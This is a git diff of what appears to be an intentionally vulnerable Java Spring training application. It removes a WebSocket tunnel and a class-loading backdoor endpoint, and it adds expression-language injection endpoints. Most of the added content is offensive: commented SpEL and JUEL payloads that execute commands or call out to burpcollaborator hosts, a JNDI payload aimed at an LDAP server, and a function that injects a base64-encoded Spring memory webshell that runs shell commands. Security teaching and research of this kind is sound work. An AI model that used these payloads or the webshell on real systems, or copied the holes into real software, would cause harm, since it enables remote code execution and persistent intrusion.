- void readFromServer(Session channel, AsynchronousSocketChannel client) { - final ByteBuffer buffer = ByteBuffer.allocate(50000); - Attach attach = new Attach(); - attach.client = client; - attach.channel = channel; - client.read(buffer, attach, new CompletionHandler() { - @Override - public void completed(Integer result, final Attach scAttachment) { - buffer.clear(); - try { - if (buffer.hasRemaining() && result >= 0) { - byte[] arr = new byte[result]; - ByteBuffer b = buffer.get(arr, 0, result); - baos.write(arr, 0, result); - ByteBuffer q = ByteBuffer.wrap(baos.toByteArray()); - if (scAttachment.channel.isOpen()) { - scAttachment.channel.getBasicRemote().sendBinary(q); - } - baos = new ByteArrayOutputStream(); - readFromServer(scAttachment.channel, scAttachment.client); - } else { - if (result > 0) { - byte[] arr = new byte[result]; - ByteBuffer b = buffer.get(arr, 0, result); - baos.write(arr, 0, result); - readFromServer(scAttachment.channel, scAttachment.client); - } - } - } catch (Exception ignored) { - } - } - - @Override - public void failed(Throwable t, Attach scAttachment) { - t.printStackTrace(); - } - }); - } - - void process(ByteBuffer z, Session channel) { - try { - if (i > 1) { - AsynchronousSocketChannel client = map.get(channel.getId()); - client.write(z).get(); - z.flip(); - z.clear(); - } else if (i == 1) { - String values = new String(z.array()); - String[] array = values.split(" "); - String[] addrarray = array[1].split(":"); - AsynchronousSocketChannel client = AsynchronousSocketChannel.open(); - int po = Integer.parseInt(addrarray[1]); - InetSocketAddress hostAddress = new InetSocketAddress(addrarray[0], po); - Future future = client.connect(hostAddress); - try { - future.get(10, TimeUnit.SECONDS); - } catch (Exception ignored) { - channel.getBasicRemote().sendText("HTTP/1.1 503 Service Unavailable\r\n\r\n"); - return; - } - map.put(channel.getId(), client); - readFromServer(channel, client); - channel.getBasicRemote().sendText("HTTP/1.1 200 Connection Established\r\n\r\n"); - } - } catch (Exception ignored) { - } - } - - @Override - public void onOpen(final Session session, EndpointConfig config) { - i = 0; - session.setMaxBinaryMessageBufferSize(1024 * 1024 * 20); - session.setMaxTextMessageBufferSize(1024 * 1024 * 20); - session.addMessageHandler(new MessageHandler.Whole() { - @Override - public void onMessage(ByteBuffer message) { - try { - message.clear(); - i++; - process(message, session); - } catch (Exception ignored) { - } - } - }); - } -} \ No newline at end of file diff --git a/src/main/java/org/joychou/controller/ClassDataLoader.java b/src/main/java/org/joychou/controller/ClassDataLoader.java deleted file mode 100644 index acd4ff3f..00000000 --- a/src/main/java/org/joychou/controller/ClassDataLoader.java +++ /dev/null @@ -1,31 +0,0 @@ -package org.joychou.controller; - -import org.slf4j.Logger; -import org.slf4j.LoggerFactory; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.context.request.RequestContextHolder; -import org.springframework.web.context.request.ServletRequestAttributes; - -import javax.servlet.http.HttpServletRequest; - -public class ClassDataLoader { - - protected final Logger logger = LoggerFactory.getLogger(this.getClass()); - - @RequestMapping("/classloader") - public void classData() { - try{ - ServletRequestAttributes sra = (ServletRequestAttributes) RequestContextHolder.getRequestAttributes(); - HttpServletRequest request = sra.getRequest(); - String classData = request.getParameter("classData"); - - byte[] classBytes = java.util.Base64.getDecoder().decode(classData); - java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class); - defineClassMethod.setAccessible(true); - Class cc = (Class) defineClassMethod.invoke(ClassLoader.getSystemClassLoader(), null, classBytes, 0, classBytes.length); - cc.newInstance(); - }catch(Exception e){ - logger.error(e.toString()); - } - } -} diff --git a/src/main/java/org/joychou/controller/Deserialize.java b/src/main/java/org/joychou/controller/Deserialize.java index 55c82ab2..45662e9c 100644 --- a/src/main/java/org/joychou/controller/Deserialize.java +++ b/src/main/java/org/joychou/controller/Deserialize.java @@ -1,6 +1,5 @@ package org.joychou.controller; -import com.fasterxml.jackson.databind.ObjectMapper; import org.joychou.config.Constants; import org.joychou.security.AntObjectInputStream; import org.slf4j.Logger; @@ -30,14 +29,17 @@ public class Deserialize { protected final Logger logger = LoggerFactory.getLogger(this.getClass()); /** - * java -jar ysoserial.jar CommonsCollections5 "open -a Calculator" | base64
- * http://localhost:8080/deserialize/rememberMe/vuln + * java -jar ysoserial.jar CommonsCollections5 "open -a Calculator" | base64 + * Add the result to rememberMe cookie. + *

+ * http://localhost:8080/deserialize/rememberMe/vuln */ @RequestMapping("/rememberMe/vuln") public String rememberMeVul(HttpServletRequest request) throws IOException, ClassNotFoundException { Cookie cookie = getCookie(request, Constants.REMEMBER_ME_COOKIE); + if (null == cookie) { return "No rememberMe cookie. Right?"; } @@ -54,9 +56,9 @@ public String rememberMeVul(HttpServletRequest request) } /** - * Check deserialize class using black list.
- * Or update commons-collections to 3.2.2 or above.Serialization support for org.apache.commons.collections.functors.InvokerTransformer is disabled for security reasons.To enable it set system property 'org.apache.commons.collections.enableUnsafeSerialization' to 'true',but you must ensure that your application does not de-serialize objects from untrusted sources.
- * http://localhost:8080/deserialize/rememberMe/security + * Check deserialize class using black list. + *

+ * http://localhost:8080/deserialize/rememberMe/security */ @RequestMapping("/rememberMe/security") public String rememberMeBlackClassCheck(HttpServletRequest request) @@ -84,17 +86,4 @@ public String rememberMeBlackClassCheck(HttpServletRequest request) return "I'm very OK."; } - // String payload = "[\"org.jsecurity.realm.jndi.JndiRealmFactory\", {\"jndiNames\":\"ldap://30.196.97.50:1389/yto8pc\"}]"; - @RequestMapping("/jackson") - public void Jackson(String payload) { - ObjectMapper mapper = new ObjectMapper(); - mapper.enableDefaultTyping(); - try { - Object obj = mapper.readValue(payload, Object.class); - mapper.writeValueAsString(obj); - } catch (IOException e) { - e.printStackTrace(); - } - } - } diff --git a/src/main/java/org/joychou/controller/Dotall.java b/src/main/java/org/joychou/controller/Dotall.java deleted file mode 100644 index f6746354..00000000 --- a/src/main/java/org/joychou/controller/Dotall.java +++ /dev/null @@ -1,31 +0,0 @@ -package org.joychou.controller; - - - -import java.net.URLDecoder; -import java.nio.charset.StandardCharsets; -import java.util.regex.Pattern; - - -/** - * Spring Security CVE-2022-22978

- * 漏洞相关wiki - * @author JoyChou @2023-01-212 - */ - -public class Dotall { - - - /** - * 官方spring-security修复commit记录 - */ - public static void main(String[] args) throws Exception{ - Pattern vuln_pattern = Pattern.compile("/black_path.*"); - Pattern sec_pattern = Pattern.compile("/black_path.*", Pattern.DOTALL); - - String poc = URLDecoder.decode("/black_path%0a/xx", StandardCharsets.UTF_8.toString()); - System.out.println("Poc: " + poc); - System.out.println("Not dotall: " + vuln_pattern.matcher(poc).matches()); // false,非dotall无法匹配\r\n - System.out.println("Dotall: " + sec_pattern.matcher(poc).matches()); // true,dotall可以匹配\r\n - } -} diff --git a/src/main/java/org/joychou/controller/EL.java b/src/main/java/org/joychou/controller/EL.java new file mode 100644 index 00000000..8b6463a6 --- /dev/null +++ b/src/main/java/org/joychou/controller/EL.java @@ -0,0 +1,173 @@ +package org.joychou.controller; + +import org.flowable.common.engine.api.variable.VariableContainer; +import org.flowable.engine.impl.el.ProcessExpressionManager; +import org.springframework.expression.ExpressionParser; +import org.springframework.expression.spel.standard.SpelExpressionParser; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import org.springframework.web.context.WebApplicationContext; +import org.springframework.web.servlet.handler.AbstractHandlerMapping; + +import javax.el.ELProcessor; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.net.URL; +import java.net.URLClassLoader; +import java.util.ArrayList; +import java.util.LinkedHashSet; + + +@RestController +public class EL { + + @RequestMapping("/el") + public String el(String expression) { + ExpressionParser parser = new SpelExpressionParser(); + // fix method: SimpleEvaluationContext + return parser.parseExpression(expression).getValue().toString(); + } + + @RequestMapping("/juel") + public String juel(String expression) { +// String payload = "${''.getClass().forName('jdk.jshell.JShell').getMethod('create').invoke(null).eval('java.lang.Runtime.getRuntime().exec(\"notepad\")')}"; + + + Object result = new ProcessExpressionManager().createExpression(expression).getValue(new VariableContainer() { + @Override + public boolean hasVariable(String s) { + return false; + } + + @Override + public Object getVariable(String s) { + return null; + } + + @Override + public void setVariable(String s, Object o) { + + } + + @Override + public void setTransientVariable(String s, Object o) { + + } + + @Override + public String getTenantId() { + return null; + } + }); + + return result.toString(); + } + + public static void main(String[] args) throws IOException, ClassNotFoundException { +// String payload = "''.getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec('ping 1uwnjnqpo6cyg9g825afrsvunltphe.burpcollaborator.net')\")"; +// String payload = "''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('calc.exe')"; +// String payload = "''.getClass().forName('java.net.InetAddress').getMethod('getByName',''.getClass()).invoke('','ylnkakhmf33v7675t21cipmreikl8a.burpcollaborator.net')"; +// String payload = "\"\".getClass().forName(\"java.lang.ProcessBuilder\").getDeclaredConstructors()[0].newInstance([\"ping\",\"p0qbpbwduuimmxmw8tg3xg1it9zen3.burpcollaborator.net\"]).start()"; + String payload = "${\"\".getClass().forName(\"java.net.InetAddress\").getMethod(\"getByName\",\"\".getClass()).invoke(\"\",\"if1444b69nxf1q1pnmvwc9gb82e12q.burpcollaborator.net\")}\n"; +// String payload = "\"\".getClass().forName(\"java.net.InetSocketAddress\").getDeclaredConstructors()[2].newInstance([\"uqoimkc58pr8g1oe5i7ai71lyc4bs0.burpcollaborator.net\",80])"; +// String payload = "\"\".getClass().forName(\"java.net.Socket\").getDeclaredConstructors()[9].newInstance(\"uqoimkc58pr8g1oe5i7ai71lyc4bs0.burpcollaborator.net\",Integer.valueOf(80))"; +// String payload = "\"\".getClass().forName(\"org.yaml.snakeyaml.Yaml\").getDeclaredConstructors()[6].newInstance().load(\"!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ['http://ej12f45p19ks9lhyy20ubru5rwxwll.burpcollaborator.net/Yaml']]]]\")"; +// String payload = "\"\".getClass().forName(\"java.lang.ProcessBuilder\").getDeclaredConstructors()[0].newInstance([\"ping\",\"t3xhzjp4lo47t01dihk9v6ekbbhc51.burpcollaborator.net\"]).start()"; +// String payload = "''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"java.lang.Runtime.getRuntime().exec('ping s0tgwim3in16qzycfgh8s5bj8aee23.burpcollaborator.net')\")"; +// String payload = "''.getClass().forName('java.net.URL').getDeclaredConstructors()[2].newInstance('http://kl98ha7v3fmybrj40820dxwbt2ztvhk.burpcollaborator.net/URL').openStream()"; +// String payload = "''.getClass().forName('jdk.jshell.JShell').getMethod('create').invoke(null).eval('java.lang.Runtime.getRuntime().exec(\"calc\")')"; + +// String payload = "''.getClass().forName('jdk.jshell.JShell').getMethod('create').invoke(null).eval('new java.lang.ProcessBuilder().command(\"cmd /c calc\".split(\" \")).start()')"; + + // 调用loadClass之前不会发出http请求,调用之后才发出。 +// new URLClassLoader(new URL[]{new URL("http://bp4zl1bm76qpfinv4z6rho02xt3kw8l.burpcollaborator.net")}, "".getClass().getClassLoader()).loadClass("EvilBB01"); + +// String[] payloads = new String[]{ +// "''.getClass().forName('java.net.URL').getDeclaredConstructors()[0].toString()", +// "''.getClass().forName('java.net.URL').getDeclaredConstructors()[1].toString()", +// "''.getClass().forName('java.net.URL').getDeclaredConstructors()[2].toString()", +// "''.getClass().forName('java.net.URL').getDeclaredConstructors()[3].toString()", +// "''.getClass().forName('java.net.URL').getDeclaredConstructors()[4].toString()", +// "''.getClass().forName('java.net.URL').getDeclaredConstructors()[5].toString()", +// "''.getClass().forName('java.net.URL').getDeclaredConstructors()[6].toString()", +// "''.getClass().forName('java.net.URL').getDeclaredConstructors()[7].toString()", +// "''.getClass().forName('java.net.URL').getDeclaredConstructors()[8].toString()", +// "''.getClass().forName('java.net.URL').getDeclaredConstructors()[9].toString()", +// }; + ELProcessor processor = new ELProcessor(); +// +//// String payload = "''.getClass().forName('org.yaml.snakeyaml.Yaml').getDeclaredConstructors()[0].toString()"; +// for (int i = 0; i < payloads.length; i++) { +// System.out.println(processor.eval(payloads[i]).toString()); +// } + +// System.out.println(processor.eval(payload).toString()); + +// (new java.io.FileOutputStream("/home/cqq/result.txt")).write((new java.lang.ProcessBuilder("ls","-al").start().getInputStream().readAllBytes())); +// new java.lang.ProcessBuilder("cmd","/c","calc").start(); +// List eval = JShell.create().eval(); +// Process process = (Process) processor.eval(payload); +// InputStream inputStream = process.getInputStream(); +// StringBuilder stringBuilder2 = new StringBuilder(); +// BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream)); +// String line; +// while((line = bufferedReader.readLine()) != null) { +// stringBuilder2.append(line).append("\n"); +// } +// +// String result = stringBuilder2.toString(); +// System.out.println(result); + +// ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + java.net.URL url = new URL("http://localhost:8080/com/SpringMemShell.class"); + URLClassLoader classLoader = new URLClassLoader(new URL[]{url}); + classLoader.loadClass("com.SpringMemShell"); + } + + static void injectMemShell(){ + + try{ + // 1. 反射 org.springframework.context.support.LiveBeansView 类 applicationContexts 属性 + Field field = Class.forName("org.springframework.context.support.LiveBeansView").getDeclaredField("applicationContexts"); + // 2. 属性被 private 修饰,所以 setAccessible true + field.setAccessible(true); + // 3. 获取一个 ApplicationContext 实例 + WebApplicationContext context =(WebApplicationContext) ((LinkedHashSet)field.get(null)).iterator().next(); + + AbstractHandlerMapping abstractHandlerMapping = (AbstractHandlerMapping)context.getBean("requestMappingHandlerMapping"); + field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors"); + field.setAccessible(true); + ArrayList adaptedInterceptors = (ArrayList)field.get(abstractHandlerMapping); + + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + Class clazz = null; + try{ + clazz = classLoader.loadClass("com.feihong.ldap.template.DynamicInterceptorTemplate2"); + }catch(ClassNotFoundException e){ + try{ + String codeClass = "yv66vgAAADQBGQoAQQCDCACECQBAAIUKAEAAhgkAhwCICACJCgCKAIsIAIwLAI0AjggAjwoADwCQCgAPAJEJAJIAkwgAlAcAlQgAlggAlwgAmAgAmQcAmgoAmwCcCgCbAJ0KAJ4AnwoAFACgCAChCgAUAKIKABQAowsApAClCgCmAIsKAKcAqAoApwCpCACqCgAnAKsJAEAArAcArQgArgoArwCwCgCxALIHALMIALQHALUHAGMJALYAtwoAKQC4CgC5ALoHALsKALYAvAoAuQC9BwC+CgAxAL8HAMAKADMAvwcAwQoANQC/CADCCgDDAMQKAMUAxgcAxwcAyAoAOwDJBwDKCgCvAMsKAMwAzQcAzgcAzwEAEm15Q2xhc3NMb2FkZXJDbGF6egEAEUxqYXZhL2xhbmcvQ2xhc3M7AQAQYmFzaWNDbWRTaGVsbFB3ZAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQA3TGNvbS9mZWlob25nL2xkYXAvdGVtcGxhdGUvRHluYW1pY0ludGVyY2VwdG9yVGVtcGxhdGUyOwEACXByZUhhbmRsZQEAZChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7TGphdmEvbGFuZy9PYmplY3Q7KVoBAARjbWRzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEABnJlc3VsdAEAAWsBAAdyZXF1ZXN0AQAnTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7AQAIcmVzcG9uc2UBAChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7AQAHaGFuZGxlcgEAEkxqYXZhL2xhbmcvT2JqZWN0OwEADVN0YWNrTWFwVGFibGUHAJUHAFABAApFeGNlcHRpb25zBwDQAQAKaW5pdGlhbGl6ZQEABHZhcjcBACFMamF2YS9sYW5nL05vU3VjaE1ldGhvZEV4Y2VwdGlvbjsBAARjb2RlAQAFYnl0ZXMBAAJbQgEABm1ldGhvZAEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAEdmFyOAEAIkxqYXZhL2xhbmcvQ2xhc3NOb3RGb3VuZEV4Y2VwdGlvbjsBAAtjbGFzc0xvYWRlcgEAF0xqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAEdmFyOQEAIkxqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbjsBAAV2YXIxMQEALUxqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uVGFyZ2V0RXhjZXB0aW9uOwcAzgcAswcArQcA0QcAvgcAwAcAwQEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAMY2xhc3NDb250ZW50AQABZQEAH0xqYXZhL2lvL0ZpbGVOb3RGb3VuZEV4Y2VwdGlvbjsBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAARhcmdzAQASYmFzZTY0Q2xhc3NDb250ZW50BwDHBwDKAQAKU291cmNlRmlsZQEAIER5bmFtaWNJbnRlcmNlcHRvclRlbXBsYXRlMi5qYXZhAQAZUnVudGltZVZpc2libGVBbm5vdGF0aW9ucwEAK0xvcmcvc3ByaW5nZnJhbWV3b3JrL3N0ZXJlb3R5cGUvQ29udHJvbGxlcjsMAEYARwEABHBhc3MMAEQARQwAXgBHBwDSDADTANQBACJbK10gRHluYW1pYyBJbnRlcmNlcHRvciBzYXlzIGhlbGxvBwDVDADWANcBAAR0eXBlBwDYDADZANoBAAViYXNpYwwA2wDcDADdAN4HAN8MAOAARQEAAS8BABBqYXZhL2xhbmcvU3RyaW5nAQAHL2Jpbi9zaAEAAi1jAQADY21kAQACL0MBABFqYXZhL3V0aWwvU2Nhbm5lcgcA4QwA4gDjDADkAOUHAOYMAOcA6AwARgDpAQACXEEMAOoA6wwA7ADtBwDuDADvAPAHAPEHAPIMAPMA9AwA9QD2AQAnY29tLmZlaWhvbmcubGRhcC50ZW1wbGF0ZS5NeUNsYXNzTG9hZGVyDAD3APgMAEIAQwEAIGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uAQMceXY2NnZnQUFBRElBR3dvQUJRQVdCd0FYQ2dBQ0FCWUtBQUlBR0FjQUdRRUFCanhwYm1sMFBnRUFHaWhNYW1GMllTOXNZVzVuTDBOc1lYTnpURzloWkdWeU95bFdBUUFFUTI5a1pRRUFEMHhwYm1WT2RXMWlaWEpVWVdKc1pRRUFFa3h2WTJGc1ZtRnlhV0ZpYkdWVVlXSnNaUUVBQkhSb2FYTUJBQ2xNWTI5dEwyWmxhV2h2Ym1jdmJHUmhjQzkwWlcxd2JHRjBaUzlOZVVOc1lYTnpURzloWkdWeU93RUFBV01CQUJkTWFtRjJZUzlzWVc1bkwwTnNZWE56VEc5aFpHVnlPd0VBQzJSbFptbHVaVU5zWVhOekFRQXNLRnRDVEdwaGRtRXZiR0Z1Wnk5RGJHRnpjMHh2WVdSbGNqc3BUR3BoZG1FdmJHRnVaeTlEYkdGemN6c0JBQVZpZVhSbGN3RUFBbHRDQVFBTFkyeGhjM05NYjJGa1pYSUJBQXBUYjNWeVkyVkdhV3hsQVFBU1RYbERiR0Z6YzB4dllXUmxjaTVxWVhaaERBQUdBQWNCQUNkamIyMHZabVZwYUc5dVp5OXNaR0Z3TDNSbGJYQnNZWFJsTDAxNVEyeGhjM05NYjJGa1pYSU1BQThBR2dFQUZXcGhkbUV2YkdGdVp5OURiR0Z6YzB4dllXUmxjZ0VBRnloYlFrbEpLVXhxWVhaaEwyeGhibWN2UTJ4aGMzTTdBQ0VBQWdBRkFBQUFBQUFDQUFBQUJnQUhBQUVBQ0FBQUFEb0FBZ0FDQUFBQUJpb3J0d0FCc1FBQUFBSUFDUUFBQUFZQUFRQUFBQVFBQ2dBQUFCWUFBZ0FBQUFZQUN3QU1BQUFBQUFBR0FBMEFEZ0FCQUFrQUR3QVFBQUVBQ0FBQUFFUUFCQUFDQUFBQUVMc0FBbGtydHdBREtnTXF2cllBQkxBQUFBQUNBQWtBQUFBR0FBRUFBQUFJQUFvQUFBQVdBQUlBQUFBUUFCRUFFZ0FBQUFBQUVBQVRBQTRBQVFBQkFCUUFBQUFDQUJVPQcA+QwA+gD9BwD+DAD/AQABABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBAAtkZWZpbmVDbGFzcwEAD2phdmEvbGFuZy9DbGFzcwcBAQwBAgBDDAEDAQQHANEMAQUBBgEAEGphdmEvbGFuZy9PYmplY3QMAQcBCAwBCQEKAQAfamF2YS9sYW5nL05vU3VjaE1ldGhvZEV4Y2VwdGlvbgwBCwBHAQAgamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb24BACtqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uVGFyZ2V0RXhjZXB0aW9uAQBfQzpccmVwb3NcSk5ESUV4cGxvaXRcdGFyZ2V0XGNsYXNzZXNcY29tXGZlaWhvbmdcbGRhcFx0ZW1wbGF0ZVxEeW5hbWljSW50ZXJjZXB0b3JUZW1wbGF0ZTIuY2xhc3MHAQwMAQ0BDgcBDwwBEAERAQAdamF2YS9pby9GaWxlTm90Rm91bmRFeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwARgESAQATamF2YS9pby9JT0V4Y2VwdGlvbgwBEwEVBwEWDAEXARgBADVjb20vZmVpaG9uZy9sZGFwL3RlbXBsYXRlL0R5bmFtaWNJbnRlcmNlcHRvclRlbXBsYXRlMgEAQW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvaGFuZGxlci9IYW5kbGVySW50ZXJjZXB0b3JBZGFwdGVyAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAJWphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEAB2lzRW1wdHkBAAMoKVoBAAxqYXZhL2lvL0ZpbGUBAAlzZXBhcmF0b3IBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEABG5leHQBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBABNqYXZhL2lvL1ByaW50V3JpdGVyAQAQamF2YS9sYW5nL1RocmVhZAEADWN1cnJlbnRUaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwEAFWdldENvbnRleHRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBAAlsb2FkQ2xhc3MBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAQamF2YS91dGlsL0Jhc2U2NAEACmdldERlY29kZXIBAAdEZWNvZGVyAQAMSW5uZXJDbGFzc2VzAQAcKClMamF2YS91dGlsL0Jhc2U2NCREZWNvZGVyOwEAGGphdmEvdXRpbC9CYXNlNjQkRGVjb2RlcgEABmRlY29kZQEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBABFqYXZhL2xhbmcvSW50ZWdlcgEABFRZUEUBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgEAB3ZhbHVlT2YBABYoSSlMamF2YS9sYW5nL0ludGVnZXI7AQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAPcHJpbnRTdGFja1RyYWNlAQATamF2YS9uaW8vZmlsZS9QYXRocwEAA2dldAEAOyhMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL25pby9maWxlL1BhdGg7AQATamF2YS9uaW8vZmlsZS9GaWxlcwEADHJlYWRBbGxCeXRlcwEAGChMamF2YS9uaW8vZmlsZS9QYXRoOylbQgEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgEACmdldEVuY29kZXIBAAdFbmNvZGVyAQAcKClMamF2YS91dGlsL0Jhc2U2NCRFbmNvZGVyOwEAGGphdmEvdXRpbC9CYXNlNjQkRW5jb2RlcgEADmVuY29kZVRvU3RyaW5nAQAWKFtCKUxqYXZhL2xhbmcvU3RyaW5nOwAhAEAAQQAAAAIAAgBCAEMAAAACAEQARQAAAAQAAQBGAEcAAQBIAAAARQACAAEAAAAPKrcAASoSArUAAyq3AASxAAAAAgBJAAAAEgAEAAAAFgAEABQACgAXAA4AGABKAAAADAABAAAADwBLAEwAAAABAE0ATgACAEgAAAFOAAQABwAAAJ+yAAUSBrYABysSCLkACQIAxgCNKxIIuQAJAgASCrYAC5kAfSsqtAADuQAJAgA6BBkExgBsGQS2AAyaAGSyAA0SDrYAC5kAGwa9AA9ZAxIQU1kEEhFTWQUZBFM6BacAGAa9AA9ZAxISU1kEEhNTWQUZBFM6BbsAFFm4ABUZBbYAFrYAF7cAGBIZtgAatgAbOgYsuQAcAQAZBrYAHQOsBKwAAAADAEkAAAAuAAsAAAAbAAgAHQAjAB4ALwAfADwAIQBHACIAXwAkAHQAJwCQACgAmwApAJ0ALQBKAAAAUgAIAFwAAwBPAFAABQB0ACkATwBQAAUAkAANAFEARQAGAC8AbgBSAEUABAAAAJ8ASwBMAAAAAACfAFMAVAABAAAAnwBVAFYAAgAAAJ8AVwBYAAMAWQAAABEAA/wAXwcAWvwAFAcAW/kAKABcAAAABAABAF0AAgBeAEcAAQBIAAABtgAHAAcAAACJuAAetgAfTCorEiC2ACG1ACKnAGdNEiROuAAlLbYAJjoEAToFEicSKAa9AClZAxIqU1kEsgArU1kFsgArU7YALDoFGQUEtgAtKhkFKwa9AC5ZAxkEU1kEA7gAL1NZBRkEvrgAL1O2ADDAACm1ACKnAAo6BhkGtgAypwAQTCu2ADSnAAhMK7YANrEABAAHABEAFAAjACQAbgBxADEAAAB4AHsAMwAAAHgAgwA1AAMASQAAAFIAFAAAADIABwA1ABEAQgAUADYAFQA3ABgAOAAhADkAJAA8AEIAPQBIAD4AbgBBAHEAPwBzAEAAeABHAHsAQwB8AEQAgABHAIMARQCEAEYAiABJAEoAAABcAAkAcwAFAF8AYAAGABgAYABhAEUAAwAhAFcAYgBjAAQAJABUAGQAZQAFABUAYwBmAGcAAgAHAHEAaABpAAEAfAAEAGoAawABAIQABABsAG0AAQAAAIkASwBMAAAAWQAAAEEABv8AFAACBwBuBwBvAAEHAHD/AFwABgcAbgcAbwcAcAcAWgcAKgcAcQABBwBy/wAGAAEHAG4AAEIHAHNHBwB0BAAJAHUAdgABAEgAAADWAAMAAwAAADQSNwO9AA+4ADi4ADlMpwAXTbsAO1kstwA8v027ADtZLLcAPL+4AD4rtgA/TbIABSy2AAexAAIAAAANABAAOgAAAA0AGgA9AAMASQAAACYACQAAAE4ADQBTABAATwARAFAAGgBRABsAUgAkAFUALABWADMAVwBKAAAAPgAGAA0AAwB3AGMAAQARAAkAeAB5AAIAGwAJAHgAegACAAAANAB7AFAAAAAkABAAdwBjAAEALAAIAHwARQACAFkAAAAQAANQBwB9SQcAfvwACQcAKgADAH8AAAACAIAAgQAAAAYAAQCCAAAA/AAAABIAAgCxAK8A+wAJAMwArwEUAAk="; + byte[] bytes = java.util.Base64.getDecoder().decode(codeClass); + + Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + method.setAccessible(true); + clazz = (Class) method.invoke(classLoader, bytes, 0, bytes.length); + }catch (Exception ex){ + ex.printStackTrace(); + } + } + + adaptedInterceptors.add(clazz.newInstance()); + } catch (NoSuchFieldException e) { + throw new RuntimeException(e); + } catch (ClassNotFoundException e) { + throw new RuntimeException(e); + } catch (IllegalAccessException e) { + throw new RuntimeException(e); + } catch (InstantiationException e) { + throw new RuntimeException(e); + } + } +} + + diff --git a/src/main/java/org/joychou/controller/Fastjson.java b/src/main/java/org/joychou/controller/Fastjson.java index 37c4ec18..df806f7c 100644 --- a/src/main/java/org/joychou/controller/Fastjson.java +++ b/src/main/java/org/joychou/controller/Fastjson.java @@ -3,12 +3,18 @@ import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject; import com.alibaba.fastjson.parser.Feature; +import com.alibaba.fastjson.parser.ParserConfig; +import org.joychou.dao.User; import org.springframework.stereotype.Controller; import 